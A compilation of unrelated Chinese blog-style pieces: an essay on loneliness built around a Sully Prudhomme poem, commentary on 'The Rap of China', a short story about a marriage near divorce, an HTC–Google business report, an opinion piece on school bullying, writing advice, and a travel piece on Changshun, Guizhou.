每个人都是孤独的旅者

银 河

普吕多姆

有一夜,我对星星们说:

“你们看起来并不幸福;

你们在无限黑暗中闪烁,

脉脉柔情里含着痛苦。

“仰望长空,我似乎看见

一支白色的哀悼的队伍,

贞女们忧伤地络绎而行,

擎着千千万万支蜡烛。

“你们莫非永远祷告不停?

你们莫非是受伤的星星?

你们洒下的不是星光呵,

点点滴漓,是泪水晶莹。

“星星们,你们是人的先祖,

你们也是神的先祖,

为什么你们竟含着泪?……”

星星们回答道:“我们孤独……

“每一颗星都远离姐妹们,

你却以为她们都是近邻。

星星的光多么温柔、敏感,

在她的国内却没有证人,

“她的烈焰放出满腔热情,

默然消失在冷漠的太空。”

于是我说,“我懂得你们!

因为你们就像心灵,

“每颗心发光,离姐妹很远,

尽管看起来近在身边。

而她——永恒孤独的她

在夜的寂静中默默自燃。”

每个人的心,就像星星一样,在自己的轨道独自发着光,在夜的寂静中默默自燃。

看起来离得那么近,实际上远只是远的量不出距离。

记得有人说过,这辈子,遇到性,遇到爱,都不稀奇。

难的是遇到了解。

也许不是每个人,都曾尝试过,两个人之间彼此信任,互相依偎,仿佛呼吸的空气都是甜的。

但但凡尝过一次,便再也忘不了这样的感觉。

这半年来,我过的很充实,我每天学习,积极健身,内心强大,很少流露出负面情绪。

也很少,去信任一个人。

我的每一样物品我都清晰地记得放在哪,我的包不需要别人帮我拿,我很少主动向人请求帮助。

越是这样,我越是渴望有一个懂我的人,或者我的同类,一个能与我彼此信任的人,并肩前行。

就像小时候,离家太久,会想念妈妈的责骂,外公的疼爱。

跟妈妈通过电话时,妈妈随口说傻人有傻福。

我想想是啊,活的太清醒的人,很难再体验到完全信任一个人的快乐。

那种感觉就像小时候,躺在妈妈的怀里,外面再多纷争吵闹,甚至眼角还噙着泪,自己的世界也是安静喜悦的。

深深地,与另外一个同样孤独的灵魂连接的感觉。

就算是哀,是怒,是伤心,是难过,也是幸福的。

你倾诉的那一刻,有人懂你,有人包容你,你可以全然放心地展示你自己。

活得太清醒,人性看的太透,对于有能力的人来说,获得快乐也很简单,这种快乐,来自自身能力和外界环境以及社会认同的安全感。

但终究也是孤独的。

这种来源的快乐,与两个彼此全然信任的灵魂,互相依偎的喜悦来比,太微不足道了,是两个完全不同的深度。

从没体验过这种感觉的人,有理性的快乐,已经足够了。

体验过一次这种感觉的人,便注定了一生都会追逐这种喜悦。

很多人会说,我不孤独,我每天很开心。

你的确不孤独,只是你有曾从花花世界里,安静下来,感受过来自己的心吗?

问问她还有感受的能力吗?

还是已经麻木了。

也许只有当离开这个世界的前夕,猛然发现自己什么也带不走,才会再次感受到那颗被忽略的心吧。

喜怒哀乐,七情六欲。这本是人的本性。

乐也只是人的一个面向,何必都要像庄子那样,在老婆去世时,都要锣鼓震天,宣扬自己的快乐呢。

如果是真的,如同庄子般,了悟了人生确实一场春秋大梦,离开值得庆贺,倒也无妨。

若是,内心明明觉得不舍,难过,委屈,为什么不让情绪自然地流露出来呢?

是没有一个可以信任的倾诉的人吗?

还是根本没有时间精力,感受这些“无用”的情绪?

流着泪也可以奔跑啊。

只是,你敢流泪吗?

怕流出来的眼泪,映着的全是冷漠和嘲笑,却独独少了帮你拭去泪水的双手。

每个人都是孤独的旅者,从出生那一刻,开始了自己孤独的旅行。

每个人的心都是一颗独自闪耀的星星,有时候很幸运,和其他星星的轨迹重合了,然后又分开了;有些星星,一直都只能在自己的轨道默默前行。

而我珍视的,就是那些纵然短暂却因彼此重合,而发出的绚丽的光。

那些敢于说真话的年轻人,真的回来了?

文 / 纳兰央措   配图 / 源自网络

最近几日狂追《中国有嘻哈》,那些在舞台上“唱着饶舌的歌,做着真实的我”的rapper们,每次鼓点响起,无论是自由、骄傲的动作,还是歌词里随处可见年轻人那种倔强而自信的张力,以及对理想的追求与坚持,对不公正的社会现状的揭示和批判,都让我激动不已。

是的,《中国有嘻哈》第一次以一个陌生的面孔,站在我面前,却把我的心全部带走。

它没有流行音乐的那种委婉与伤感,直接、生猛、带着点睥睨天下的骄傲样子,砸面而来。它在摔杯为号的同时就替你签好了投名状,它的Flow带你用一种下意识都无从抗拒的节奏,直视所有年轻人注定避不开的迷茫与挫折。

而且,这种节奏的张力与代入感,直达所有年轻人的内心深处,让原本早已深埋心底的骄傲与不羁,彻底释放出来。

“人生漫长,我劝你好生走路!”

GAI的这首《天干物燥》,从一开始平易近人且带着点搞笑噱头的“天干物燥,小心火烛”,直到后面的“天赋太高都是我的错,锋芒毕露都是我的错,优点太多都是我的错,反正做啥子都是我的错,你我道不同就不想为谋”,都从表面之上,一刀切入内心,鲜血直流。

从某种意义上说,这些rapper是不是灵魂歌手并不重要,嘻哈精神更深层次的承载也无足轻重,重要的是作为观众的年轻一代能在精心编排的演出中看到自我的倒影

热追《中国有嘻哈》的年轻一代,对台上身经百战的rapper们连珠炮般表现出的“相逢意气为君饮,系马高楼垂柳边”,虽身不能至,但心向往之。当前者面对生活的重压,也一定想复制那份火与冰的结合——激愤时比火炽、沉默时比冰酷。

如果说《中国有嘻哈》真的注意到了什么,那就是注意到了在“经济与社会的飞速发展vs精神与灵魂的停滞焦虑”这对矛盾挤压下的年轻人更需要进行彻底的表达。

这份被压抑着的、渴望表达的夙愿是最肥沃的土壤,rapper们叫嚷着的“不信命”是及时雨、亦是良心肥。《中国有嘻哈》的创新绝非仅体现在参赛选手均具有唱作能力这件事上,更重要的是他们创作的内容时刻提醒着听众:你应当成为自己的主宰,每个人应当决定自己生命中所有一鸣惊人的时刻。

9月2号晚,节目组邀请了四位实力唱将加盟,并和rapper们同台演绎,帮唱嘉宾分别是:周笔畅、信、王嘉尔、袁娅维。

在选手第一次试选的时候,信没有选手选择;在第二次试选的时候,信还是没有选手选择;在最后的互选环节,艾福杰尼因为有四个Verse而被袁娅维委婉的拒绝,没有选上合意的帮唱嘉宾,而不得不和信搭档。

这时的信经过前面状况已经看出艾福杰尼并不愿意这样配对,信就直截了当问艾福杰尼:”是不是不愿意我们之间的合作?” 

艾福杰尼倒也不拐弯子,直接了当的回答:”不愿意!” 在这种情况下信说,“我愿意退出比赛,我觉得他们比赛很重要,然后酬劳我可以退回去。我希望制作组能再给选手一次选择机会,赢要赢得痛快,输要输得甘愿”。

正典重论忙着批判年轻人陷于犬儒与颓唐,却忽视了沉浸者身上那种再努力也难以打破固化剧本的绝望:发展前景迷茫、前进道路曲折、追求成功而不可得,即便费尽解数博得一寸“小确幸”,也不得不接受整片人生的“大失去”。正所谓等死不如作死、作死不如躺尸,这种虚拟端的消极态度正是年轻人对于现实世界的一种温和反抗。

于是,那些缺乏机会、感受不到公平、需要表达、充满焦虑的年轻人构成了“嘻哈”这把星星之火,在PG one的那句:“如果这样,我宁愿退赛!”一下子点燃了燎原之火

赛制过程中,无论是Idol和Underground两个不同派别的互相Diss,还是GAI与PG one的相互不服,都不足以让这个赛制改变什么,唯一的就是GAI的那句:“你只有一个Verse,那你就是弱啊!”

该说什么就说什么,敢说社会不公,敢抨击社会现状,敢怼主流艺人。

这也是信在离场前,对四强唱那首《如果还有明天》的原因。因为他明白舞台上的去留,对于一个搏命挣扎到最后四强的选手来说,有多么的重要和重视。

你们就像一群天不怕地不怕的野兽,打破了所有的规则。所以呢,请你们照顾好心里的那只野兽,保持愤怒,你们所做的任何的决定都没有错,但是,有可能,会错过。错过你成为经典的机会,我们一直这么这么这么努力的,不就是要站在这个台上吗?所以希望大家能够珍惜每一次在台上的机会。

嘉宾被歌手拒绝有多尴尬可想而知,然而,离开赛场,信表示接受这个结果,他说:”歌手为了展示最好的一面,有这样决定很正常。”并鼓励选手们要保持这种”疯狂”。

信开场曲《如果还有明天》燃炸全场,诚如艾福杰尼所说:信才是真正的Real man。

冯唐曾说过:”除了前途,我们这代人从来就没有过任何其他可以奢望的东西,仅此而已。

倘若连说真话的权利都被消磨干净,那年轻的一代,还有什么前途?

很庆幸,《中国有嘻哈》把那些敢于说真话的年轻人,带了回来。

– end –


如需转载请至公众号留言,并在文末署名作者相关信息,谢谢支持。

离不了婚的女人


1.

林兰站在民政局门口等郑毅办离婚。

约好今天早晨10点见,可已经快中午了,她还没有见到郑毅的人影。

初秋虽凉风习习,可中午的日头还是有些热腾腾的,晒得人难受。

对方的电话一直处于关机状态,林兰心中焦躁却无处排解。

“你是林兰女士?”电话那边的声音异常郑重。

“你是谁?”林兰一看是陌生电话,语气并不友善。

“我是城南警察局,您的老公郑毅昨天在风暴夜总会的火灾中身亡,需要你尽快来确认一下尸体。”

林兰像被当头泼了一盆冷水,脖子也像被扼住一样,呼吸短促,她声音颤抖着,“警察同志,你不会弄错了吧?确定是郑毅吗?”

对方的语气依旧镇静,不过不像刚才公事公办的冰冷,而是有了一丝温度,“我非常了解您的心情,请节哀。是这样,他的口袋里有烧焦的身份证,还能看清楚名字。稍后法医会进行DNA比对,最后确认死者身份,这需要您的全力配合。”

林兰的脑中一直盘桓着警察说的每个字,身子有些虚飘飘的,好久才吐出一个字,“好。”

到了城南警察局,刚刚通过电话的王警官接待了林兰,还给她做了相关的登记。

“林兰女士,带您去看郑先生的尸体前,我得先跟您说明一下,他的尸体已经烧焦,看起来可能有些可怕,而且怎么说呢,还有一点需要您有点心里准备。”王警官吞吞吐吐地,不像刚联系林兰时那么干脆简洁。

林兰心中疑问重重,难道说郑毅的死,事有蹊跷?

“王警官,您直说吧,我心里有准备,什么都可以接受。”林兰的话非常干脆,说服王警官的同时,也是让自己鼓足勇气。

“郑毅是跟一个女人抱在一起烧焦的,两具尸体粘连的比较厉害,现在还没有剥离开。”王警官尽量让语气平缓,还不时地观察着林兰的表情。

听完这话,林兰惨白的脸上果真有些泛红,她咬紧了嘴唇,身体微微地有些颤抖。

片刻迷离后,她的眼神突然充满了坚毅,果断地对王警官说:“带我去看看吧。”

两具焦黑的尸体,面对面紧紧相拥,无声地躺在那里。

林兰扫了一眼,一股焦臭的味道直袭鼻间,胃里也在不停地翻滚,一道热流冲到喉头,她刻意地压了压,却抑制不住酸水上涌,于是她一转身冲出停尸房,蹲在门口哇哇大吐。

王警官追出去时,只见林兰蹲在墙边无声地抽泣,他拿了一包纸巾递给她。

林兰接过纸巾在脸上随意擦拭,强撑着倚墙站起来,试图平息胸中翻江倒海的情绪,过了好久才挤出一句,“当寡妇也好,利索了。”

2.

窗外暗黑一片,只有远处的霓虹灯如梦境般闪耀。

空落落的屋中只有林兰一人,她从警局回来就一直坐在客厅里发呆,连灯都没开。她出神地望着远处的梦境,脑中一会儿闪出郑毅离开家的前一天,摔门而去的冰冷果决,一会儿闪出警局里那一对儿炭黑的尸体。

林兰脑中纷乱,仍不太相信郑毅已死的事实,也没想好怎么跟还在寄宿学校上学的儿子说。她想不通为什么郑毅放着好好的日子不过,跑到夜总会去跟女人瞎混。

一直以来,她认为离婚只是因为两人日子过久了,磨没了感情,彼此都无法忍受冰冷的关系,仅此而已。但是今天亲眼所见,却把她曾经天真的想法敲得粉碎,连带曾经有过的感情,也敲得粉碎。

结婚将近二十年,林兰没想到最后竟然如此收局。

不知怎的,她回忆起跟郑毅的第一次相遇。那还是上大学时,她在水房打热水,郑毅从她旁边经过时蹭翻了她的热水瓶,开水直接倾倒在她的脚上,郑毅慌慌张张地把她背到校医院。

她躺在病床上疼得直哼哼,郑毅一张白皙的脸上急得通红,只围着医生不停地念叨着同一句话,“医生,她会不会残疾啊?”

医生不耐烦地说:“这么点小伤就能残疾?我看你还是担心一下,女朋友好了别把你打残吧。”

“女朋友?”“他?”他俩异口同声道。

医生的话暂时转移了林兰的疼痛和郑毅的焦虑。

从此,郑毅赎罪般天天背林兰上下课,两人也从冤家慢慢地有了感情。

林兰回忆起那段日子,心中洋溢起久违的幸福感觉,他们也曾有过美好的爱情。

她又想到郑毅跟她求婚的一幕。

那时两人刚毕业,他们终于从实习期熬到转正。那天,郑毅用一整月的工资买了一个简易的指环,还在出租屋做了满满一桌的饭菜。

林兰进门时,只看到一屋子五彩缤纷的气球,上面写满了:“我爱你”、“嫁给我”、“许你幸福”。她呆呆地站在门口,手捂着嘴,感动地热泪盈眶。

郑毅几步上前,单膝跪地,把戒指套到她的无名指上,起身拥紧了她,在她耳边低喃着,“嫁给我,我会呵护你一辈子。”

她哽咽着无法出声,一直在点头。

他把她脸上的泪水都吮吸干净,然后吻上她的唇。他的眼眸闪闪发亮,宠溺的声音洋溢在她的耳边,“不许你哭,以后跟我生活的每一天,我只让你笑。”

当时的爱情,甜腻却欢天喜地。每天一睁眼希望就能看到对方的脸,无论彼此是流着涎水,呼噜震天,亦或是浅声梦语,都不会影响他们心间流动着暖暖的甜。


可是,渐渐地,甜蜜消失了,取而代之的是屋中冷锅冷灶,她已经很少听到情话,准确地说是很少听到他说话了。

他加班回来,倒头就睡。

她想跟他聊天,他会烦躁地拒绝。

“很累了,不想听。”

“不敢兴趣。”

周末只要他一接到电话不跟她打招呼就出门,等到回来时,夜已阑珊。

他可以对着电脑发邮件,拿着手机看新闻,或是在电视上刷电影。

屋子里,没有人语,只有电子设备闪着毫无温度的光。

她试穿一条新裙,他会视若无睹;她化了别致的妆,他懒得抬头看;她升职涨薪,他无动于衷。

林兰不知道郑毅到底怎么了,为什么把她当个家具,当个摆设。

后来,林兰也觉得,彼此就是对方生活的摆设,跟沙发、茶几一样的摆设。

霓虹灯还在窗外闪烁,那些都是别人家的万家灯火,跟林兰无关,跟幸福无关,跟悲哀无关

3.

林兰的思绪已经出魂离窍,完全没有意识到屋门被人打开。

“吓死了我了!大半夜不开灯,坐在窗子底下干吗?”一个熟悉的男人声音。

灯应声亮了,林兰回头,看清进屋的人竟然是郑毅,她失声大叫:“鬼?”

“你脑子有病吧,你才是鬼呢。”郑毅一副不耐烦的口气。

“你没死?”林兰站起来冲到郑毅面前,她盯着对方,想分辨出他是不是真的还活着。

郑毅看了看站在眼前的林兰,头发松散,眼睛红肿,一副落魄模样,讽刺道:“你是不是天天盼着我死?”

林兰听到熟悉的讽刺,伸手拍了拍郑毅的脸,是温热的,
说明他是活着的。她突然大笑着扑过去,搂紧了郑毅的脖颈,把头埋在他的胸前,不停地念叨着,“还好你没死,还好你没死。”

郑毅被林兰弄得莫名其妙,但是看到林兰喜极而泣的模样,也抬起垂在身旁的胳膊搂住了林兰。“不是说离婚吗?怎么?舍不得了?准备一炮泯恩仇?”

林兰不管他的冷嘲热讽,而是安安静静地拥着他,她发现自己原来对郑毅还有感情。

郑毅听林兰的叙述,才发现错的有多么离谱。

那天,郑毅的发小老李喝得胃出血,夜总会的人打电话通知郑毅,他的钱包应该就是在接老李时被偷的。这老李刚离婚,家里没人照应,郑毅只好留下来陪床,后来手机没电了,却懒得通知林兰。

那贼兴许就是偷了钱包就留在夜总会风流,没想到却丢了性命。

“身份证丢了,补办得一个月,离婚的事儿得拖一拖。”郑毅一字一句的试探林兰的反应。其实,他已经意识到林兰对自己还有感情,毕竟一起生活了这么多年,还有一个准备高考的儿子,而他自己也同样不想离婚。

“好,等你身份证办好再说。”林兰紧张的心情随着事实的明确,也渐渐松弛了,她揉着酸胀的太阳穴。

“又头疼了?”郑毅自然地把手放在林兰的太阳穴上轻揉。

“今天真是吓死了。”林兰舒服地闭上双眼,享受着郑毅手指尖的力道和温度。

“儿子明年就高考了,不能有差池啊。”郑毅边揉边说。

“是。”林兰也在担心他们感情出了问题,会不会影响到孩子。

“要不咱不离了?”郑毅试探地问着。

“等孩子高考完再说吧。”林兰呼出胸中憋闷的一口气,顿时畅快了许多。

离婚风波经历了这次闹剧,终于偃旗息鼓。家中恢复了曾经的夫唱妇随,林兰的眼角带笑,郑毅的嘴角上扬。

4.

每个月的最后一个星期天,是儿子郑元浩回家的日子,夫妻二人一起下厨房,准备儿子最爱吃的饭菜。厨房的香气飘满了全家,还有不时的欢声笑语飘出来。

郑元浩进门时,就发现家里的气氛有些不同寻常。他蹑手蹑脚地走近厨房,难得看到父母不是冷面相对,不是互相讥讽,而是正常聊天。他手里的东西紧了紧,快速地塞进了背后的书包里。

“儿子回来了?”父母同时转头,笑容温暖,元浩有了刹那的感动。

“爸、妈,我回来了。做什么好吃的呢?这么香?”元浩扫去心中阴霾,表现出欢天喜的样子,趴到刚做好的饭菜前低头嗅着。

一家人其乐融融的交谈声、笑声,温暖着从窗外透进来的冰冷月光。

“你发现没有,儿子今天的状态不太对劲。”林兰坐在梳妆台前贴面膜,声音满含担忧。

“发现了。你说他是不是这次摸底考试考砸了?”郑毅从刚刚翻看的手机新闻上抬头,看向林兰。

林兰脸上带着面膜,回头看向郑毅,“不能吧?儿子一向学习上不用操心。”

郑毅叹了一口气,“话别说太满了。老李的儿子一直都是学校培养的清华北大的苗子,结果今年考完,差点连个211都没考上。”

“也是。要不我去问问儿子?”林兰听完郑毅的话更加紧张了。

“行,别给他太大压力。”郑毅嘱咐着。

林兰摘掉面膜,向儿子郑元浩的房间走去。

儿子已经睡着了。

林兰看着他熟睡的脸,宠溺地拢了一下他的刘海,心疼地想儿子学习也太辛苦了。

她无意间瞥见放在书桌上的书包,发现上面有一块儿大的油渍,于是把书包里的东西轻轻地掏出来放到桌上。在书包的最底层,她发现了一张照片,上面是老公拥着一个半老徐娘的腰,正从酒店走出来。

照片从她的手里飘落,她的心情百味杂陈,怨恨、恶心、失望,还有对儿子的担心。

林兰记得儿子有写日记的习惯,她在书桌上找到了儿子的日记。

201×年9月30日 晴

我不想让父母离婚,虽然知道他们早已没有感情。

他们为什么不离婚?只是为了不影响我学习吧。

所以,我一直拼命学习,只有这样,才能让他们陪在我身边。

我是不是很自私?

拿到这张照片时,我有些绝望,我不想这么拼命地苦心维持这个家庭的泡沫。

但是,今天看到爸妈的状态,我又重燃希望,还想自私最后一回。

对不起,妈妈!对不起。

林兰捡起了那张照片,撕地粉粹,紧紧地握在手心里。

【商业周刊】工商时报吴筱雯:宏达电卖手机团队? 传谷歌年底前接手 (2507)

宏达电跟Google玩真的?随着硬体对Google策略版图的重要性与日俱增,Google现有硬体资源严重不足,加上宏达电亏损无法止血、财务压力日增,据了解Google并购宏达电的谈判已经进入最后阶段,最慢年底将拍板定案,不过标的仅有智慧型手机研发团队,而不是外界原先盛传的VR部门、也不是整间公司出售。

宏达电在2011年盛极而衰之后,出售的传言从来没有断过、却也从来没有成真过,也让8月底外电报导宏达电在美国与投资顾问合作考虑引进包括Google在内的策略投资人、出售或分拆VR事业VIVE等选项,一度被视为又是空穴来风。

不过,宏达电跟Google这次玩真的,但标的则不是外传的VR,而是智慧型手机。

一般人只把Google当网际网路公司、作业系统软体业者、AI先驱,可是Google的目标不止于此,比起当年Google莫名其妙地买下摩托罗拉、又莫名其妙地贱价将摩托罗拉卖给联想,业界人士表示,现在的Google野心已经不比当年,现在的Google希望可以能够完美整合软体、内容、硬体、网路、云端、AI于一身,就像亚马逊一样,而要达成这样的目标,硬体是必须的投资。

从目标来看,Google发展智慧型手机硬体各方面资源可说远远不够,宏达电与Google从多年前第一支Android手机Nexus开启合作关系,去年与今年宏达电也都替Google代工高阶智慧型手机Pixel,双方关系深远,加上宏达电已经连续亏损9季、财务压力日趋沈重,促成双方展开谈判。

据了解,Google正就策略投资或买断宏达电智慧型手机研发团队一事洽谈中,谈判则已经进入最后阶段,最慢会在年底前定案。

而在VR研发团队方面,宏达电Vive在高阶VR装置中享有盛誉,成就盛誉的关键首推追踪技术,宏达电的追踪技术其实掌握在合作伙伴Valve手中,宏达电年底将与Google合作推出VR一体机,追踪技术则是使用Google开发的WorldSense,而最重要的关键零组件显示面板,技术主导权则在面板供应商三星、夏普、JDI身上,Vive研发团队的价值一时之间无法被彰显。

(工商时报)

※本文获《中时电子报》授权转载,原文

未成年女生因校园欺凌被判刑,校园监管是否也有责任?

霸凌女生

法制晚报·看法新闻9月4日报道:14名女学生皆因校园欺凌被判刑,其中最重的被判处有期徒刑一年十个月,缓刑二年,轻的行政处罚。为了帮助这14名校园“小霸王”们顺利回归校园,通州法院开展了“运河启航计划”之未成年犯少年课堂活动,联合通州某学校,共同对14名罪错少年进行为期一周的法制教育。

这14名女孩是某教育学院的学生,还有二年就要毕业了,这些人中平均17岁,最小15岁,法院以强制侮辱罪判罚。

我留意到新闻用的词是“罪错少年”,而非以前认知里的“少年犯”。

我看到对这14名罪错少年进行的是“为期一周”的法制教育。

我还重点留意到“这14名女孩是某教育学院的学生”。

教育学院不应该是培养教师的院校吗?教育学院怎么会有未成年女生?这样的学生能培养出来当老师吗?为期一周的法制教育有用吗?她们是不是“少年犯”?

因为家有同龄女儿,将来有一天也会住集体宿舍,过校园生活,比较关注校园霸凌方面的话题。因为怕她会被欺侮,也担心她会欺侮别人。关于校园霸凌,我历来的观点都是:打人的和被打的都不是好孩子!

我想表达的观点之一是:对校园欺凌应该零容忍。未成年女生因校园欺凌被判刑,最应该问责的是他们的父母;如果是同一所学校的14名学生,那就是校风问题,校园监管当然有责任。

2013年,山东艺术设计学校就有一个16岁的女生小雨(化名)被室友殴打4小时,上了新闻。北京这14名犯“强制侮辱罪”的未成年少女想来也是因为对同学实施了暴力。事件发生后,都有问责“校园监管”的声音。

2016年,中国在美留学生酷刑绑架案3名主犯翟芸瑶、章鑫磊和杨玉菡分别被判13年、6年和10年刑期。事件发生后,极少听到对美国“校园监管”的问责。

这大概是因为,2015年4月,美国各州都通过了反霸凌法,在刑法上对实施暴力欺凌的犯罪主体判刑很重。美国法律将打人、吐口水、推搡、拍裸照,甚至精神贬低等行为都等定性为霸凌。情节严重者会被学校开除;对有些行为恶劣的惯犯学生,无论是否满18岁,都会被追究刑事责任。

留学生绑架案主犯

如果要问责学校,是否要追溯到这些女生的幼儿园、小学甚至中学?是怎么培养出来这样的学生一路升学的?孩子出了事,都“归罪于外”、归罪于学校,是对学校、对老师最大的不公。要归罪,要问责,最该归罪和问责的是他们的父母,不应该把他们生出来。

在北美,家庭、学校、社会对校园霸凌是零容忍。从幼儿园开始,学校就反复强调学生的正确的行为规范。在校期间,同学之间是身体零接触(no touch)。孩子学习不好,学校一般不会找家长,但孩子如果行为失当,比如和同学不友善相处、主动触碰同学身体、说了不友好的话等等,学校一定会给家长写通知、约见家长。小学时,学生们就很明确地知道什么行为属于霸凌。不止是打骂同学属于霸凌行为,甚至冷落同学都属于此范围。比如两个孩子正在玩游戏,第三个孩子要求加入,如果这个游戏不是只能由两个人玩的,那么就不得拒绝第三个孩子,否则就属于霸凌。学生一旦投诉说被霸凌,校长、老师都会高度重视,一定会调查、处理,约谈欺负人的学生家长。处理结果可能达不到受害家长的要求,但校方绝不会让受害家长息事宁人。

我想表达的观点二是:我们对未成年人犯罪太过宽容了。

“判刑后女生们都表示很想回学校继续学业,学校也表示愿意接收,但要看表现,要签订协议……”情节严重的,难道不应该开除永不录用吗?所谓杀一儆百。

季羡林先生在90岁左右时说:根据我的观察,坏人,同一切有毒的动植物一样,是并不知道自己是坏人的,是毒物的。根据我的观察,我还发现,坏人是不会改好的。

没有对别人生命和人格的尊重、没有对法律法规和制度敬畏心的学生,是不可能教育好的,校园监管也起不了作用。

作为一名写作者,你知道最大的致命伤是什么吗?

对于一个写作者而言,最大的致命伤是什么?

关于这个问题,仁者见仁智者见智,倘若要我来回答的话,我个人认为,对于一个写作者而言,最大的致命伤,莫过于三分钟的热度。

写作,并不是一项立竿见影的工作,尤其是对于小说创作而言,必须得一步一个脚印。从稚嫩到成熟,这是每一个初学者的必经阶段,在写作初期,我们会遇到很多困惑,只有战胜这些困难,我们才能继续前进。前方不是一片坦途,我们要越过崇山峻岭,才能到达理想的彼岸。也许,很多人在攀登第一座山时,已经决定放弃。

有的人总喜欢拿自己的文章和一些作家的作品对比,无意之中相形见绌,会发出“我写的这么差,还是算了吧”的感慨。亦或者我们会拿自己的文章和同类型的作者相对比,然后我们发现,我们并没有他们写的好,这个时候会有一种自卑的心理产生。

我的建议是作为一个写作者,向大作家看齐并无不妥,但是要做对比的话最好和过去的自己做对比,在写作中看到自己的进步,查找自己的不足。在这条道路上才能走得更远。

不要因为写出一篇爆文而沾沾自喜,不要因许多篇文章点击量不高而暗自伤悲。虽然写作不是一件十分快乐的事,但是至少在我们创造世界的过程中,能够体会到人物的喜怒哀乐,当我们完成一篇书稿时,会感到格外轻松。

对于一些新手而言,刚开始写作时,情绪高涨,一旦写作过程中遇到一些挫折,便一蹶不振。

写作是一项持久的运动,必须要拥有十足的自我驱动力,不能仅仅依靠外部压力来督促自己前进。

有些人也许会经常问自己这样的问题,我到底适不适合写作?我到底能不能成为作家?我到底能不能出书。其实没有人能给你一个确定答案,唯有时间和实践。

有人曾经在简书简信咨询我,大概写多少字才能出书?我告诉他:很多字。

作为一个写作者,我们只有不停地写。当然,这个写作过程并不是一个盲目的过程,有时也要关注市场行情,读者反馈,这样才不会让我们走进一个死胡同。

在了解自己作品风格类型的基础上,我们要不断完善自己的写作方法,形成自己的语言风格,写出自己的文章特色,当今出版市场虽然庞大,但如果一味跟风,没有自己的特色,很快便会石沉大海,甚至尚未出版已经夭折。

对于写作者而言,需要注意的问题有很多很多,但是最重要的,我认为还是坚持二字。写一篇文章,不要三分钟的热度,今天下定决心要写个长篇,明天只开了个头,后天便放弃了,三天打鱼两天晒网,永远不会有什么结果。

对于写作者而言,无论什么问题,最终归根到底,要落到两个字上面,人和事。能把人物和故事写好喽,你就成功了。

作为一名混迹于简书三年的我,直到现在才出版了自己的处女作《不要跟踪我》,期间默默无闻,从未停止写作。倘若我因为写作不顺而轻易放弃,也不会有出书的一天。

当出书的目标实现以后,我接下来的目标并不是出很多书,而是写出精彩的故事。

写作,不是买彩票,没有碰运气一说。唯有躬身下来,辛勤耕耘,才会有收获的一天。在此,我希望所有拥有写作梦想的人不要轻言放弃。

梦想和咸鱼的区别在于,咸鱼是死的,梦想是鲜活的。要让你的梦想有温度,最好的方式就是要不停地触摸她,接近她,不要让她受到冷落。总有一天,她会投桃报李。当梦想照亮现实的那一天,你就会明白,所有的努力和坚持都是为了这一刻。所有追梦路上付出的汗水和泪水皆微不足道。

奔跑吧,少年,向你的梦想前进!


免费的写作分享课,就在今晚八点:小说写作免费分享课 | 我如何在简书出版了第一本书?

最适合你的小说创作18讲〖可报名〗

长顺:花开花谢花化泥,长顺长安长相依

图文 | 酒梦

你是否对每天平淡而重复的生活感到厌倦?

你是否面对一堆杂乱无章的资料感到烦躁?

你是否在毫无察觉间被这个嘈杂而喧嚣的世界扰乱了内心的平和?

其实有时候,并不是世界改变了我们,而是我们缺少了改变生活的勇气。

也不是生活变成了我们讨厌的模样,而是我们缺少了去发现生活之美的眼睛。

不如趁着工作忙碌之余的闲暇时光,跟我去这个距离贵阳不过一个半小时车程的黔南小城,来一场心灵放逐之旅。

这个依山傍水,冬无严寒,夏无酷暑的黔南小城,她叫长顺。

初次听说她的名字,我的脑海里便不自觉地浮现出那句“花开花谢花化泥,长顺长安长相依”。

心想,该是一个怎样岁月静好,现世安稳的小城,才配得上这么平和安宁的名字。

和长顺的邂逅,源于一次意料之外的惊喜。

当我走近,我才明白,什么叫诗意的栖居。

波澜不惊——凤凰湖

漫步在凤凰湖旁,望不尽的杨柳依依,在微风中轻轻摇曳,放佛在对那些纷扰的过往挥手告别。

悄悄地来,轻轻地走,不带走一粒尘埃。

水鸭在河岸上兀自玩乐,波光粼粼的湖面平静得没有一丝波澜,给浮躁的内心带来了片刻的宁静。

走累了可以倚靠在湖边的葡萄架下小憩,在这里,你可以什么都不想,也可以什么都想。

不必去在意时间的流逝,不必去管世俗纷扰。

穿越千年——广顺州府

那一天天空很蓝,云朵很白,仿佛一伸手就能碰到天。

漫步在广顺州府的悠悠古道上,好像穿越回一段千年前的旧时光。

小轩窗

透过精致的木窗望见窗外的草木青葱,忍不住想按下快门定格这一刻的幽静美好。

行走在青翠的竹林小道旁,听一首安静的古老歌谣,享受一段惬意的午后时光。

墙上竹影斑驳,时光悠悠从指缝间轻轻划过。

浮云来去匆匆,和奔走于世俗中的我们有些相像,也许在人生的旅途中,我们都走得太快太匆匆,来不及去欣赏沿途风光的美好。

但是在州府,你可以放慢脚步,仔细地聆听一缕清风的浅唱,安静地赏一轮亘古不变的白月光。

庭院里藏了多少旧故事,需要你推开城门亲自去寻找。

诗画田园——凤凰坝生态农业体验园

从喧闹的城市里逃脱,走进乡间田野,来一场亲近自然之旅,采摘一份愉悦的心境,聆听返璞归真的儿时场景,也是一次不错的心灵享受。

行走在凤凰坝的乡间小路,一阵阵鲜果的清香和泥土的芬芳扑面而来,一望无垠的红苹果和紫葡萄,把这里装扮得风姿翩翩。

万绿丛中,鲜果挂满枝头,小鸟在枝头不知疲惫地歌唱。

游人稀少,四周一片寂静,唯独果园里传来丰收者的阵阵欢声笑语。

苹果园旁边长了一排野生的刺梨,轻轻摘下一颗放在嘴里品尝,有点酸涩的味道,让人想起儿时在乡间田野采摘刺梨泡水的场景,记忆定格在了昔日质朴的旧时光。

果农的院子边葫芦结得正好,蔚蓝的天空配上绿色的葫芦,使人心情也瞬间愉悦清爽起来。

美食云集——长顺县育才巷

育才巷

赏够了古城温婉的月,沐浴了山间清爽的风。

不如去长顺县育才巷,来一场丰富多彩的舌尖之旅。

街道虽然看上去很陈旧,却是个美食云集的地方,很多店都是多年的老字号,他们从不做宣传,却依然能够吸引无数吃货蜂拥而至,靠的全是一传十,十传百的口碑。

图文 | 酒梦

育才巷美食种类繁多,不管你好哪一口,相信都能在这里找到你的心之所爱。

在这里,你什么都不用管,只管敞开了吃。

长顺牛肉馆

牛肉火锅

如果你喜欢吃牛肉火锅,一定要去长顺牛肉馆。

不管是色泽诱人、酸辣爽口的酸汤牛肉还是味道香浓、嚼劲十足的黄焖牛肉,都能给你的味蕾带来非一般的享受。

火锅的食材都是老板亲力亲为,每天早晨在杀牛市场上收购的最新鲜的,保证味道鲜美。

